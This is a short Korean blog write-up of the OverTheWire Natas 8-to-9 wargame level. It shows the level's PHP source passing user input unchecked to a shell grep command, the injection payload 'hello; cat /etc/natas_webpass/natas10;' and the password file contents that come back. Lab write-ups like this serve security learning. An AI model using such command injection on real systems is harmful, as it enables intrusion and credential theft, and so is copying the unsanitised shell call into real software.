Natas 8 to 9

ktkalpha·2023년 8월 31일
0

natas

목록 보기
9/11

https://overthewire.org/wargames/natas/natas9.html


입력받은 것이 포함된 단어를 찾아주는 것 같다.

소스코드를 확인해보자

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas9", "pass": "<censored>" };</script></head>
<body>
<h1>natas9</h1>
<div id="content">
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


Output:
<pre>
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    passthru("grep -i $key dictionary.txt");
}
?>
</pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

passthru로 명령어를 실행하는 것 같다.
명령어를 직접 실행하니까 ; 기호를 써 명령어를 분리시켜 다른 명령어를 쓸 수 있다

비번이 있던 /etc/natas_webpass/natas10 를 보자

hello; cat /etc/natas_webpass/natas10;


D44EcsFkLxPIkAAKLosx8z3hxX1Z4MCE

profile
그냥 중학생

0개의 댓글